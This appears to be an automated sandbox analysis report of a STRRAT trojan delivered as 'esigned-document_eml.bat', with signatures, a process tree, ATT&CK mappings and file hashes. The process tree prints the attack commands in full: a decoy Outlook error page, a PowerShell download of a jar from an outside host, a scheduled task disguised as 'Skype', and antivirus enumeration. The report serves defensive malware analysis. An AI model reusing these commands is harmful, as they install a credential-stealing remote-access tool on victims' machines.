Overview

overview

10

Static

static

1

esigned-do...ml.bat

windows7-x64

8

esigned-do...ml.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    145s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-01-2025 13:53

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    esigned-document_eml.bat

  • Size

    2KB

  • MD5

    a0d37228b4ad0ebea6537b99cbcb7ff0

  • SHA1

    cec0438ed7acde6a177bc220df2d4fa94352e539

  • SHA256

    e85d8640a62e0d223fe9892384eecb8bb9e67d4bf2fc020881058506b33bec30

  • SHA512

    a4fda2b2adbe591bbfb44fb0949becf75349f5255f197008727486f15e0cc18fcdbce6c1d3ba16e65a5e32a5d8ffc857cfa75402975eafedf4c11524d4f1f9ea

Score
10/10
strratadwarediscoveryexecutionpersistenceprivilege_escalationstealertrojan

Malware Config

Signatures

  • STRRAT

    STRRAT is a remote access tool than can steal credentials and log keystrokes.

    trojanstealerstrrat
  • Strrat family
    strrat
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Start PowerShell.

    execution
  • Downloads MZ/PE file
  • Drops startup file 1 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 16 IoCs
  • Loads dropped DLL 64 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Installs/modifies Browser Helper Object 2 TTPs 4 IoCs

    BHOs are DLL modules which act as plugins for Internet Explorer.

    stealeradware
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 36 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 20 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 28 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\esigned-document_eml.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:412
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$shell = New-Object -ComObject Shell.Application; $shell.MinimizeAll()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4828
    • C:\Windows\system32\fsutil.exe
      fsutil dirty query C:
      2⤵
        PID:704
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$shell = New-Object -ComObject Shell.Application; $shell.MinimizeAll()"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:1712
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Start-Process 'https://outlook.office365.com/Encryption/ErrorPage.aspx?src=3&code=11&be=SN6PR04MB4014&fe=JNAP275CA0040.ZAFP275.PROD.OUTLOOgK.COM&loc=en-US&itemID=E4E_M_e9df154a-e4b8-4486-8aec-7acceeb93fee'"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4852
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://outlook.office365.com/Encryption/ErrorPage.aspx?src=3&code=11&be=SN6PR04MB4014&fe=JNAP275CA0040.ZAFP275.PROD.OUTLOOgK.COM&loc=en-US&itemID=E4E_M_e9df154a-e4b8-4486-8aec-7acceeb93fee
          3⤵
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:2468
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9d1e046f8,0x7ff9d1e04708,0x7ff9d1e04718
            4⤵
              PID:2396
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,2116449465585642560,7567980914009977037,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:2
              4⤵
                PID:2268
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2132,2116449465585642560,7567980914009977037,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 /prefetch:3
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:2688
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2132,2116449465585642560,7567980914009977037,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2844 /prefetch:8
                4⤵
                  PID:4704
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,2116449465585642560,7567980914009977037,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:1
                  4⤵
                    PID:3360
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,2116449465585642560,7567980914009977037,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:1
                    4⤵
                      PID:904
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,2116449465585642560,7567980914009977037,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4648 /prefetch:1
                      4⤵
                        PID:216
                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,2116449465585642560,7567980914009977037,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5048 /prefetch:8
                        4⤵
                          PID:3004
                        • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2132,2116449465585642560,7567980914009977037,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5048 /prefetch:8
                          4⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:908
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,2116449465585642560,7567980914009977037,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5080 /prefetch:1
                          4⤵
                            PID:432
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,2116449465585642560,7567980914009977037,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5096 /prefetch:1
                            4⤵
                              PID:4108
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,2116449465585642560,7567980914009977037,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5544 /prefetch:1
                              4⤵
                                PID:1636
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -Command "Invoke-WebRequest -Uri 'https://javadl.oracle.com/webapps/download/AutoDL?BundleId=250111_d8aa705069af427f9b83e66b34f5e380' -OutFile 'C:\Temp\JavaSetup8u421.exe'"
                            2⤵
                            • Blocklisted process makes network request
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1580
                          • C:\Temp\JavaSetup8u421.exe
                            "C:\Temp\JavaSetup8u421.exe" /s INSTALL_SILENT=1 STATIC=1
                            2⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            PID:1876
                            • C:\Users\Admin\AppData\Local\Temp\jds240632828.tmp\JavaSetup8u421.exe
                              "C:\Users\Admin\AppData\Local\Temp\jds240632828.tmp\JavaSetup8u421.exe" "/s" "INSTALL_SILENT=1" "STATIC=1"
                              3⤵
                              • Executes dropped EXE
                              • Adds Run key to start application
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4372
                              • C:\Users\Admin\AppData\LocalLow\Oracle\Java\jre1.8.0_421\LZMA_EXE
                                "C:\Users\Admin\AppData\LocalLow\Oracle\Java\jre1.8.0_421\LZMA_EXE" d "C:\Users\Admin\AppData\LocalLow\Oracle\Java\jre1.8.0_421\au.msi" "C:\Users\Admin\AppData\LocalLow\Oracle\Java\jre1.8.0_421\msi.tmp"
                                4⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:5016
                              • C:\Users\Admin\AppData\LocalLow\Oracle\Java\jre1.8.0_421\LZMA_EXE
                                "C:\Users\Admin\AppData\LocalLow\Oracle\Java\jre1.8.0_421\LZMA_EXE" d "C:\Users\Admin\AppData\LocalLow\Oracle\Java\jre1.8.0_421\jre1.8.0_421.msi" "C:\Users\Admin\AppData\LocalLow\Oracle\Java\jre1.8.0_421\msi.tmp"
                                4⤵
                                • Executes dropped EXE
                                PID:4348
                              • C:\Program Files (x86)\Java\jre1.8.0_421\bin\javaw.exe
                                -Djdk.disableLastUsageTracking -cp "C:\Program Files (x86)\Java\jre1.8.0_421\bin\..\lib\deploy.jar" com.sun.deploy.panel.ControlPanel -systemConfig deployment.expiration.check.enabled false
                                4⤵
                                • Executes dropped EXE
                                • Drops file in Windows directory
                                • System Location Discovery: System Language Discovery
                                PID:3576
                          • C:\Windows\system32\timeout.exe
                            timeout /t 45 /nobreak
                            2⤵
                            • Delays execution with timeout.exe
                            PID:5680
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -Command "Invoke-WebRequest -Uri 'https://boyunglee.com/tert/tre2.jar' -OutFile 'C:\Temp\tre2.jar'"
                            2⤵
                            • Blocklisted process makes network request
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            PID:5600
                          • C:\Windows\system32\timeout.exe
                            timeout /t 15 /nobreak
                            2⤵
                            • Delays execution with timeout.exe
                            PID:5200
                          • C:\Program Files (x86)\Java\jre1.8.0_421\bin\java.exe
                            "C:\Program Files (x86)\Java\jre1.8.0_421\bin\java.exe" -jar "C:\Temp\tre2.jar"
                            2⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            PID:6140
                            • C:\Program Files (x86)\Java\jre1.8.0_421\bin\java.exe
                              "C:\Program Files (x86)\Java\jre1.8.0_421\bin\java.exe" -jar "C:\Users\Admin\tre2.jar"
                              3⤵
                              • Drops startup file
                              • Executes dropped EXE
                              • Adds Run key to start application
                              • System Location Discovery: System Language Discovery
                              PID:964
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\tre2.jar"
                                4⤵
                                • System Location Discovery: System Language Discovery
                                PID:2688
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\tre2.jar"
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:4452
                              • C:\Program Files (x86)\Java\jre1.8.0_421\bin\java.exe
                                "C:\Program Files (x86)\Java\jre1.8.0_421\bin\java.exe" -jar "C:\Users\Admin\AppData\Roaming\tre2.jar"
                                4⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:4704
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list"
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:4092
                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                    wmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list
                                    6⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:5556
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list"
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:5804
                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                    wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list
                                    6⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:3480
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list"
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:5708
                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                    wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list
                                    6⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:3312
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /c "wmic /node:localhost /namespace:'\\root\securitycenter2' path antivirusproduct get displayname /format:list"
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:5684
                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                    wmic /node:localhost /namespace:'\\root\securitycenter2' path antivirusproduct get displayname /format:list
                                    6⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:4476
                          • C:\Windows\system32\timeout.exe
                            timeout /t 5 /nobreak
                            2⤵
                            • Delays execution with timeout.exe
                            PID:1696
                          • C:\Program Files (x86)\Java\jre1.8.0_421\bin\java.exe
                            "C:\Program Files (x86)\Java\jre1.8.0_421\bin\java.exe" -jar "C:\Temp\tre2.jar"
                            2⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            PID:4920
                        • C:\Windows\System32\CompPkgSrv.exe
                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                          1⤵
                            PID:2736
                          • C:\Windows\System32\CompPkgSrv.exe
                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                            1⤵
                              PID:2152
                            • C:\Windows\system32\msiexec.exe
                              C:\Windows\system32\msiexec.exe /V
                              1⤵
                              • Enumerates connected drives
                              • Drops file in Program Files directory
                              • Drops file in Windows directory
                              • Checks processor information in registry
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3036
                              • C:\Windows\syswow64\MsiExec.exe
                                C:\Windows\syswow64\MsiExec.exe -Embedding 222076B4427133561CC9DD55D2731110
                                2⤵
                                • Loads dropped DLL
                                • System Location Discovery: System Language Discovery
                                PID:1700
                              • C:\Program Files (x86)\Java\jre1.8.0_421\installer.exe
                                "C:\Program Files (x86)\Java\jre1.8.0_421\installer.exe" /s INSTALLDIR="C:\Program Files (x86)\Java\jre1.8.0_421\\" STATIC=1 WEB_ANALYTICS=Disable EULA=Disable INSTALL_SILENT=1 AUTO_UPDATE=Disable SPONSORS=Disable REPAIRMODE=0 ProductCode={77924AE4-039E-4CA4-87B4-2F32180421F0}
                                2⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Installs/modifies Browser Helper Object
                                • Drops file in System32 directory
                                • Drops file in Program Files directory
                                • System Location Discovery: System Language Discovery
                                • Modifies Internet Explorer settings
                                • Modifies data under HKEY_USERS
                                • Modifies registry class
                                PID:5848
                                • C:\Program Files (x86)\Java\jre1.8.0_421\bin\javaw.exe
                                  "C:\Program Files (x86)\Java\jre1.8.0_421\bin\javaw.exe" -Xshare:dump -Djdk.disableLastUsageTracking
                                  3⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • System Location Discovery: System Language Discovery
                                  PID:6112
                                • C:\Program Files (x86)\Java\jre1.8.0_421\bin\ssvagent.exe
                                  "C:\Program Files (x86)\Java\jre1.8.0_421\bin\ssvagent.exe" -doHKCUSSVSetup
                                  3⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • System Location Discovery: System Language Discovery
                                  • Modifies registry class
                                  PID:5872
                                • C:\Program Files (x86)\Java\jre1.8.0_421\bin\javaws.exe
                                  "C:\Program Files (x86)\Java\jre1.8.0_421\bin\javaws.exe" -wait -fix -permissions -silent
                                  3⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:5600
                                  • C:\Program Files (x86)\Java\jre1.8.0_421\bin\jp2launcher.exe
                                    "C:\Program Files (x86)\Java\jre1.8.0_421\bin\jp2launcher.exe" -secure -javaws -jre "C:\Program Files (x86)\Java\jre1.8.0_421" -vma LWNsYXNzcGF0aABDOlxQcm9ncmFtIEZpbGVzICh4ODYpXEphdmFcanJlMS44LjBfNDIxXGxpYlxkZXBsb3kuamFyAC1EamF2YS5zZWN1cml0eS5wb2xpY3k9ZmlsZTpDOlxQcm9ncmFtIEZpbGVzICh4ODYpXEphdmFcanJlMS44LjBfNDIxXGxpYlxzZWN1cml0eVxqYXZhd3MucG9saWN5AC1EdHJ1c3RQcm94eT10cnVlAC1YdmVyaWZ5OnJlbW90ZQAtRGpubHB4LmhvbWU9QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxKYXZhXGpyZTEuOC4wXzQyMVxiaW4ALURqYXZhLnNlY3VyaXR5Lm1hbmFnZXIALURzdW4uYXd0Lndhcm11cD10cnVlAC1YYm9vdGNsYXNzcGF0aC9hOkM6XFByb2dyYW0gRmlsZXMgKHg4NilcSmF2YVxqcmUxLjguMF80MjFcbGliXGphdmF3cy5qYXI7QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxKYXZhXGpyZTEuOC4wXzQyMVxsaWJcZGVwbG95LmphcjtDOlxQcm9ncmFtIEZpbGVzICh4ODYpXEphdmFcanJlMS44LjBfNDIxXGxpYlxwbHVnaW4uamFyAC1EamF2YS5hd3QuaGVhZGxlc3M9dHJ1ZQAtRGpubHB4Lmp2bT1DOlxQcm9ncmFtIEZpbGVzICh4ODYpXEphdmFcanJlMS44LjBfNDIxXGJpblxqYXZhdy5leGU= -ma LXdhaXQALWZpeAAtcGVybWlzc2lvbnMALXNpbGVudAAtbm90V2ViSmF2YQ==
                                    4⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of SetWindowsHookEx
                                    PID:5612
                                • C:\Program Files (x86)\Java\jre1.8.0_421\bin\javaws.exe
                                  "C:\Program Files (x86)\Java\jre1.8.0_421\bin\javaws.exe" -wait -fix -shortcut -silent
                                  3⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:6072
                                  • C:\Program Files (x86)\Java\jre1.8.0_421\bin\jp2launcher.exe
                                    "C:\Program Files (x86)\Java\jre1.8.0_421\bin\jp2launcher.exe" -secure -javaws -jre "C:\Program Files (x86)\Java\jre1.8.0_421" -vma LWNsYXNzcGF0aABDOlxQcm9ncmFtIEZpbGVzICh4ODYpXEphdmFcanJlMS44LjBfNDIxXGxpYlxkZXBsb3kuamFyAC1EamF2YS5zZWN1cml0eS5wb2xpY3k9ZmlsZTpDOlxQcm9ncmFtIEZpbGVzICh4ODYpXEphdmFcanJlMS44LjBfNDIxXGxpYlxzZWN1cml0eVxqYXZhd3MucG9saWN5AC1EdHJ1c3RQcm94eT10cnVlAC1YdmVyaWZ5OnJlbW90ZQAtRGpubHB4LmhvbWU9QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxKYXZhXGpyZTEuOC4wXzQyMVxiaW4ALURqYXZhLnNlY3VyaXR5Lm1hbmFnZXIALURzdW4uYXd0Lndhcm11cD10cnVlAC1YYm9vdGNsYXNzcGF0aC9hOkM6XFByb2dyYW0gRmlsZXMgKHg4NilcSmF2YVxqcmUxLjguMF80MjFcbGliXGphdmF3cy5qYXI7QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxKYXZhXGpyZTEuOC4wXzQyMVxsaWJcZGVwbG95LmphcjtDOlxQcm9ncmFtIEZpbGVzICh4ODYpXEphdmFcanJlMS44LjBfNDIxXGxpYlxwbHVnaW4uamFyAC1EamF2YS5hd3QuaGVhZGxlc3M9dHJ1ZQAtRGpubHB4Lmp2bT1DOlxQcm9ncmFtIEZpbGVzICh4ODYpXEphdmFcanJlMS44LjBfNDIxXGJpblxqYXZhdy5leGU= -ma LXdhaXQALWZpeAAtc2hvcnRjdXQALXNpbGVudAAtbm90V2ViSmF2YQ==
                                    4⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of SetWindowsHookEx
                                    PID:1480
                              • C:\Windows\syswow64\MsiExec.exe
                                C:\Windows\syswow64\MsiExec.exe -Embedding 2A806FEDC84568B3D3F97EBF0B98E771 E Global\MSI0000
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:5452
                              • C:\Windows\syswow64\MsiExec.exe
                                C:\Windows\syswow64\MsiExec.exe -Embedding EB92DB305776116439AA91C25F95F78C
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:1468
                              • C:\Windows\syswow64\MsiExec.exe
                                C:\Windows\syswow64\MsiExec.exe -Embedding F5E50E476B05D2A78AC989808FF10687 E Global\MSI0000
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:2552
                              • C:\Windows\syswow64\MsiExec.exe
                                C:\Windows\syswow64\MsiExec.exe -Embedding A2D2F57B930166F00A02F2B35C68A7A1
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:4884
                              • C:\Windows\syswow64\MsiExec.exe
                                C:\Windows\syswow64\MsiExec.exe -Embedding CCF87619C6C6E4C1F8B30A4F6D91F776 E Global\MSI0000
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:3632

                            Network

                            MITRE ATT&CK Enterprise v15

                            Reconnaissance

                            Resource Development

                            Initial Access

                            Execution

                            Command and Scripting Interpreter

                            1
                            T1059

                            PowerShell

                            1
                            T1059.001

                            Scheduled Task/Job

                            1
                            T1053

                            Scheduled Task

                            1
                            T1053.005

                            Persistence

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Registry Run Keys / Startup Folder

                            1
                            T1547.001

                            Browser Extensions

                            1
                            T1176

                            Event Triggered Execution

                            1
                            T1546

                            Component Object Model Hijacking

                            1
                            T1546.015

                            Scheduled Task/Job

                            1
                            T1053

                            Scheduled Task

                            1
                            T1053.005

                            Privilege Escalation

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Registry Run Keys / Startup Folder

                            1
                            T1547.001

                            Event Triggered Execution

                            1
                            T1546

                            Component Object Model Hijacking

                            1
                            T1546.015

                            Scheduled Task/Job

                            1
                            T1053

                            Scheduled Task

                            1
                            T1053.005

                            Defense Evasion

                            Modify Registry

                            3
                            T1112

                            Credential Access

                            Discovery

                            Browser Information Discovery

                            1
                            T1217

                            Peripheral Device Discovery

                            1
                            T1120

                            Query Registry

                            3
                            T1012

                            System Information Discovery

                            4
                            T1082

                            System Location Discovery

                            1
                            T1614

                            System Language Discovery

                            1
                            T1614.001

                            Lateral Movement

                            Collection

                            Command and Control

                            Exfiltration

                            Impact

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • C:\Config.Msi\e57f3b9.rbs
                              Filesize

                              758KB

                              MD5

                              851c74b218effa3a2562a5d7e628f0a6

                              SHA1

                              b6b2e5cf42146848ab38b23372a60e0c13762111

                              SHA256

                              6bb4f86af275ea401e64136ac84b65ed01d0fd7d76d14722f388f635a608e3c3

                              SHA512

                              e5553643b14340a60c372abdeb4321338bfddf4fbce83a80c018fa7fc1acd4da0182daf38742e3d7e11ea84f87d96ffe8471b10a44767f1e810c31d5b8bc1861

                              Download Submit

                            • C:\Config.Msi\e57f3bd.rbs
                              Filesize

                              7KB

                              MD5

                              e949da3521f92412533b7bb9519557d1

                              SHA1

                              4f7fc3d04bee14d394e44fcb2946e3da11419d9d

                              SHA256

                              891f9348a8ed1edb0ddbaf077b0d872bfd98886fa25e54a4c6df651e0b1e516e

                              SHA512

                              3f16661824a706b3519d8b9b4b9e535d9ced8e4b0443c8f4c4ff2ca527d293913167bbb08da3dbc96ae8684b00167ec9679993d4160d6628f9e5e6c1570e83e2

                              Download Submit

                            • C:\Config.Msi\e57f3c2.rbs
                              Filesize

                              8KB

                              MD5

                              e3204d47a77025adf90f351e2bbf487b

                              SHA1

                              e4e0dc66e4018ca9d585bece6c56bb0ebab17de2

                              SHA256

                              e2ad3c5eb7ceac80ac2ef17e46ff82ce94c78ded0731192e91b7824c4a4af81e

                              SHA512

                              157fa0a8050d5ba0046741d2be99ff819088437c7e5af8c28b451ce1ea0503bbc85099df27b506bcb88dc717320c9c645a1e1c85c68ca20f46d5e7f7be7ffa7b

                              Download Submit

                            • C:\Program Files (x86)\Java\jre1.8.0_421\bin\javaw.exe
                              Filesize

                              263KB

                              MD5

                              c806e01dc949208cbc60e91215452bcc

                              SHA1

                              33ba8b3fb87c61cac2548dd738ab1d566babeafa

                              SHA256

                              945b7922e238f35030413fecd3b8135ac1869c690d4f965b33bb006407a55e02

